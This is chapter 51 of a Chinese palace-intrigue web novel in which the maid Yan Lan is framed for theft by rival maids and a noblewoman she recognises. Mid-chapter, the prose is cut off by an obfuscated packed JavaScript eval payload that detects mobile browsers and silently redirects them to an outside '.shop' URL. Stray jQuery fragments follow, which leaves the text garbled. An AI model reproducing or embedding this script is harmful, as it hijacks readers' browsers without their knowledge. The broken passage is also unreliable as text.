51. 第五十一章
作品:《鱼何不食猫》 翌日起早,燕览顶着个黑眼圈就去西配殿接受讲习了,谢游自有办法逃脱,却不告诉燕览他要去哪。
昨夜一晚也没争出个输赢,倒是你来我往地又是嘴上闹,又是手上捉,两个人都没少闲着。
赶在打铃前跑进西配殿,燕览像个初来乍到的宫女,毛手毛脚的,别的人不认识她,倒是刚认识她的小青看出来,燕览今日心情不错,不然怎得,昨日还沉稳如不动深潭的姐姐,今早就忙不迭跑进来,脸上泛着喜气洋洋的淡粉。
嬷嬷握着戒尺,在燕览桌前轻轻一拍,眉眼低压,以警示她。
燕览知趣地站定,微微扬起的嘴角却不曾放下。
不时,嬷嬷便来回巡逻检查了各宫女的穿着、礼仪,待走到前方时,另一位一直站在角落的绿衣裳嬷嬷忽然走上了,同她耳语。
燕览虽然听不见,但在长公主身边服侍多年,在不同的场景下摸爬滚打,学会了读唇语的本事。
“听说,那头那个低着头的宫女不是新来的,是长公主的人。”绿衣嬷嬷压低声音,看了看燕览的方向,“你当心点,别得罪人了。”
握着戒尺的嬷嬷斜着眼睛,不动声色地睥睨了燕览一眼,燕览忙收回视线。
“当真?”她半信半疑,“长公主府可未曾给我打过招呼,莫不是是哪个得罪了长公主的,才被送到这里来?”
绿衣嬷嬷撇嘴,“不知道。总之,当心点就好了。”
讲完这番话,掌事的嬷嬷眼见时间到了,便开始了当天的讲习。
奈何这刚一开始,屋内便出了幺蛾子。
掌事嬷嬷刚开始说话,绿衣嬷嬷便凑了过来,刚才一番警惕和谨慎全无,一副大惊失色模样。
“哎呀,那支汝窑白瓷瓶怎么不见了?!”
绿衣嬷嬷的惊呼像块石头砸进平静的湖面,西配殿瞬间安静下来,所有宫女都停下手里的动作,齐刷刷看向殿角的博古架。
那里原本摆着三支供练习用的瓷瓶,此刻唯独少了最珍贵的那支汝窑白釉瓶。
掌事嬷嬷脸色骤沉,看到果真不见了,戒尺往案上一拍:“别的瓷瓶都还好,偏偏这只不见了!这可是高贵妃宫里的,是要还的!”
绿衣嬷嬷火急火燎地打转,“我也不知道怎么回事啊!”
“什么时候发现不见的?昨日收工时还在吗?”
“昨儿我亲自归置的,摆得好好的!”绿衣嬷嬷急得直跺脚,目光扫过满殿宫女,最后落在燕览身上,却也说不出个所以然。
还是掌事嬷嬷沉得住气,安抚道,“先别急。”随后转而对各宫女道:
“你们,可有谁看见过这支瓷瓶?”
众人纷纷摇头,这时,吉祥却站了出来。
“嬷嬷,昨日我是最后走的,我走时,这支瓷瓶还在。”
“哦?”掌事嬷嬷狐疑,“莫非昨晚深夜还有人来此盗窃!”
话音落下,嬷嬷转向各宫女,在人群之间踱步,神情肃穆,“若你们之中有人拿了这瓷瓶,现在归还,还能从轻发落!若是隐瞒不报,那便是杀头之罪——”
嬷嬷震怒,宫女们连忙跪下噤声,齐齐不敢低头,冷汗浸了一身。可始终无人上前承认。
“既然如此,那,我便要先排除你们每个人的嫌疑了。”嬷嬷沉声,走向左侧一群宫女身前,“你们昨夜都去了哪,依次交代!”
小青站在左侧宫女的后排,不敢发言,此等场面对本就胆小怕事的她来说更是骇人,她浑身都颤抖着,生怕被谁连累,莫名其妙丢了脑袋。
前面的宫女也不敢说话,最终,还是吉祥站了出来。
“禀告嬷嬷,奴婢们下课之后便纷纷回了寝殿,直到今早都是一齐来西配殿的。奴婢可以作证,至少我们同住一个寝宫的姐妹们,哪里都没去。”
如意又跪几步出来,“奴婢也可以作证。昨夜奴婢起夜时,怕打搅大家睡觉,轻手轻脚,点了盏油灯。彼时环顾一圈,大家都还在。”
“那就是说,没有人半夜来此处了?”嬷嬷寒声。
殿内沉寂了半晌,吉祥忽然抬头,“嬷嬷,奴婢觉得有一人可疑。”
“谁?”
“她。”
吉祥伸出手,指向了角落里的燕览。
众人也纷纷望过去。
燕览本来凑着热闹,却又不喜欢尔虞我诈的场面,便暗自打盹,却不料这锅竟然落到了自己头上!
“这位姐姐,她跟我们都不住一处,独来独往的,最方便动手!”
如意也跟着帮腔,“是啊,我们都住同一间偏殿,夜里互相照应着,谁也没机会动手。就她特殊,住的单独小院,要想藏个瓷瓶,简直易如反掌!”
两人一唱一和,说得有板有眼,其他宫女也开始窃窃私语,目光在燕览身上打转,带着怀疑和探究。
掌事嬷嬷皱着眉,走到燕览面前,戒尺指着她:“她们说的是真的?你单独住?说,那瓷瓶是不是你拿的!”
燕览脸上的喜气早已褪去,神色平静地迎上嬷嬷的目光:
“不是我。我今日虽来晚了,但刚进殿就站到了自己位置上,连博古架那边都没靠近过,如何能偷瓷瓶?”
“谁能证明?”吉祥立刻反问,“你独来独往的,怕不是早就盘算好了,故意趁早上人少动手!”
燕览心中不屑,她若想荣华富贵,还用攀附高贵妃?长公主在朝中的势力不知比得上多少个高贵妃。
燕览抿了抿唇,神色和缓地看向吉祥,“你有何证据,证明是我拿的?”
“昨日离开西配殿时,我走的最晚,却眼见你和其他宫女们背道而驰,往另一个方向走,谁知道你干什么去了?若不然,你告诉大家,昨夜你在哪度夜的?又有谁能证明?”
燕览暗自轻轻一笑。
刚入宫的宫女果然喜欢惹是生非,拉帮结派。她顿时便反应过来,一定是吉祥和如意留意到她曾帮助小青,这才想给她个下马威。
可燕览没把自己当这里的人,自然不想被拉入这旋涡里。就连陪她们玩玩,她都懒得玩。
“昨夜我在自己寝殿内休息,你要我如何证明?”燕览回过头,向嬷嬷作揖,“嬷嬷大可派人去我寝殿内搜集一番,便知道我有没有偷窃了。”
掌事嬷嬷哑声,绿衣嬷嬷靠了过来,二人眉来眼去,盘算着燕览的身份。她处变不惊,要说是长公主的人,也说得过去。如此这般,二位嬷嬷更不敢拿燕览如何。
掌事嬷嬷清了清嗓子,“我会派人查明。事已至此,先上课吧。”
新一轮的培训教习开始,绿衣嬷嬷却领了命,领着人去燕览的院子里搜罗了一圈,回来时摇了摇头。燕览和吉祥同时见到了这一幕,吉祥却暗自咬牙。
下了课,燕览刚收拾好花剪要走,就被吉祥堵在了西配殿的廊下。如意站在她身后,双手抱胸,一副看好戏的模样。
“你叫什么名字?”吉祥不带善意地问。
却不料,燕览都没抬眼看她一眼,便从她身边擦肩而过。
被这么一无视,吉祥登时来了脾气。
“怎么?不敢跟我对峙了?”吉祥仰着下巴,堵住燕览,语气里满是挑衅,“别以为嬷嬷没搜出东西就没事了,我告诉你,你帮着小青,就是同我们作对!”
燕览终于站定,抬眸瞥了她一眼。
“刚入宫的宫女,气焰就这般嚣张。”
“你说什么!”吉祥上前一步,“你也敢教训我?你知不知道,我爹刚升了官,在宫里多少人给我面子,你一个不知来路的宫女,也敢跟我叫板?”
燕览侧身避开她的手,眼神冷了冷,“我没空跟你纠缠。”说罢,径直绕过她往前走,只留下吉祥气得脸色发青。
“你给我等着!”吉祥对着她的背影喊道,随后转头跟如意对视一眼,眼底闪过阴狠。
如意也并不舒坦,直替吉祥愤愤不平,“姐姐,她竟敢如此对你?从小到大,还没有人敢这样对你!”
吉祥自小素来乖张,这口气定然咽不下去。
下午时,吉祥和如意便借机肚子疼,趁燕览去上课,偷偷把一支断裂的银簪塞进了燕览的寝殿。
回到西配殿,又在掌事嬷嬷面前无意提起,说自己丢了支祖传的银簪。嬷嬷本就对燕览的身份存疑,听闻后立刻派人去搜,果然搜出了那支银簪。
银簪被“噌”的一声摔在木桌子上,燕览扫了一眼便知,定是吉祥做了不干净的手段。在她看来,如此愚蠢的把戏,竟然真能成为指控她的证据,心中百般讥诮。
掌事嬷嬷脸色并不爽利,可却迟迟不曾发话,似乎在犹豫什么。
绿衣嬷嬷凑上来,拉着她借一步说话,耳语道,“你可知道,吉祥是段府夫人的表妹?而今段府刚迎亲,吉祥的父亲又在朝中新官上任,正是红气着,得罪不起。”
掌事嬷嬷啐道,“可你不是说,那个奴婢是长公主的人?!若真是如此,段府在长公主面前又算什么?”
“可咱们也不知道那奴婢纠结是长公主身边的红人,还是被长公主不待见的啊!”绿衣嬷嬷攥紧了袖口。
掌事嬷嬷蹙眉,眼轱辘溜溜转着。
可这番话,皆被燕览看进了眼里。
难怪吉祥这番不懂忍让,原来是自小被宠坏的丫头。如今父亲当官,表姐高嫁,的确是喜事重重,心也跟着飘了。
八成,吉祥铁了心对付小青和她,也是为了帮她表姐出出气。
想罢,掌事嬷嬷已经走到了燕览跟前。
“现在证据确凿,你还有什么话说?”掌事嬷嬷拿着银簪,脸色铁青地看着燕览。
“我没有偷瓷瓶。”燕览不耐道,“此事没有证据,嬷嬷不要冤枉了人。”
“你!你竟敢顶嘴!”
掌事嬷嬷握着的戒尺将落未落,绿衣嬷嬷凑上来,挤眉弄眼地提醒着她。看得出,掌事嬷嬷有点摸不着分寸了。
她把玩着戒尺,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644116|178471||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你叫什么名字?”
“奴婢懒锦。”
“你是怎么进宫的?”
问及此,燕览语塞,“和其他姐妹一样,被挑选进来的。”
眼见问不出端倪,掌事嬷嬷低下身子,凑到燕览耳边,用只有二人能听到的音量道:
“你单独住一处,可是有人替你安排?”
话说到这份上,暗示已经足够明显。
可燕览噤声,不敢出一言以复。
她并不想此事牵扯到长公主。很明显,长公主送她来,也是没有想要给她撑腰的。
况且,如此小的一件事都要动用长公主的名号,那燕览这么些年也白干了。
“没有。”她沉声,“况且奴婢的来路,与此事无关。银簪虽从奴婢寝殿搜出,却并不能说明是奴婢偷窃,而有可能是有人蓄意栽赃。”
燕览作揖,“还请嬷嬷明察。”
“懒锦,你说谁呢!”吉祥怒骂道,极度蛮横,被绿衣嬷嬷一个眼神压了下去。
“你倒还沉得住气。”掌事嬷嬷喃喃,将身子从燕览耳边移开,眼神莫名颇具赏识。
就在吉祥吵闹之时,西配殿的朱漆门突然被人从外推开。
一个身着月白绣暗纹宫装的女子缓步踏入。她鬓边插着支赤金点翠步摇,裙摆扫过门槛时,裙角绣着的缠枝莲纹随着动作轻轻晃动,一看便知是身份贵重的内眷。
殿内宫女们见状,连忙敛声垂首,连掌事嬷嬷都收了戒尺,上前半步躬身行礼:
“见过段夫人。”
来人正是刚嫁入段府的段氏夫人。
可燕览的目光停在段夫人脸上,便再也没有挪开过,直到发了愣,才忙行礼。
这段府夫人她设想过是怎样的人,却从没想过是她认识的人———
醉春楼的青霓。
燕览低着头,直直看着发亮的地面,脑海里的脉络骤然连在了一起。
小青的名字里有“青”,青霓的名字里也有“青”,可她怎么都没把这事和青霓联想到一起,毕竟青霓和宫中的关系着实遥远。
可是,记忆骤然回到她脑海,上回她去醉春楼时,就没见到青霓,怪不得当时白萝脸上风光无限,穿金戴银,完全是整个人逢喜事精神爽的状态。
原来是因为青霓高嫁了,嫁了段府家的公子。
若不是今日误打误撞和小青、吉祥等人产生了联系,这层关系她还不知道何时扒得出来。
青霓的目光没在嬷嬷身上多停,径直扫向殿中,一眼就看见正红着眼圈的吉祥。
“我今日来看看我表妹。这是怎么了?”青霓声音柔缓,却带着不容置疑的气场,伸手将吉祥拉到身边,指尖轻轻拂去她衣襟上的褶皱,“好端端的,怎么哭了?”
吉祥见了她,委屈更甚,指着燕览哽咽道:
“回夫人,她偷了我的银簪,还不承认!嬷嬷在她单独住的小院搜出证据了,她还嘴硬!”
青霓顺着她的手指看向燕览,眼神在燕览身上停顿片刻那目光里藏着几分不易察觉的审视,像是在确认什么。随后她转向掌事嬷嬷,嘴角噙着浅淡的笑意,语气却带着施压:
“嬷嬷,我这表妹自小娇憨,却从不说谎。既然搜出了银簪,怎么还没定夺?莫非是这宫女有什么来头,嬷嬷不好处置?”
掌事嬷嬷脸上堆着笑,心里却犯了怵。
段府近日正得圣宠,哪是她能得罪的?可之前绿衣嬷嬷提过燕览或许是长公主的人,她也不敢贸然下结论。
“夫人说笑了,”嬷嬷斟酌着措辞,“只是这宫女说银簪不是她偷的,还说是被栽赃…奴婢还未查明。”
“有什么可查的?”青霓打断她,语气冷了几分,“单独住一处小院,行动自由,要藏支银簪还不容易?”
说着,她看向燕览,似乎没把她认出来,眼神里多了几分挑衅,“你,若你真没偷,不妨说说自己的来历?也好让我放心,免得平白冤枉了好人,也委屈了我表妹。”
燕览保持着沉默。
就在她两难之际,殿外突然传来一阵急促的猫叫,紧接着,一道油亮的黑影“嗖”地从门缝里窜进来。
燕览定睛一看——
团团?!
团团径直冲向青霓脚边,吓得吉祥尖叫一声,连青霓都下意识往后退了半步,原本紧绷的气氛瞬间被打乱。
团团像是疯了一样,在殿内四处乱窜,撞翻了案上的花束,还把吉祥刚插好的瓷瓶扒到了地上,“哐当”一声摔得粉碎。宫女们顿时乱作一团,有的去捉猫,有的去收拾碎片,场面一片混乱。
“谁让这猫进来的?!”掌事嬷嬷气得大喊,却没人应答。
燕览看着团团,却能看到它撒欢的表情,十分恣意,她也忍俊不禁起来。
就在这时,一道墨色身影从殿外闪进来,他拉住燕览,低声道,“跟我走。”
燕览抬眼,闯进谢游幽深又狡黠的暗蓝色眸子。

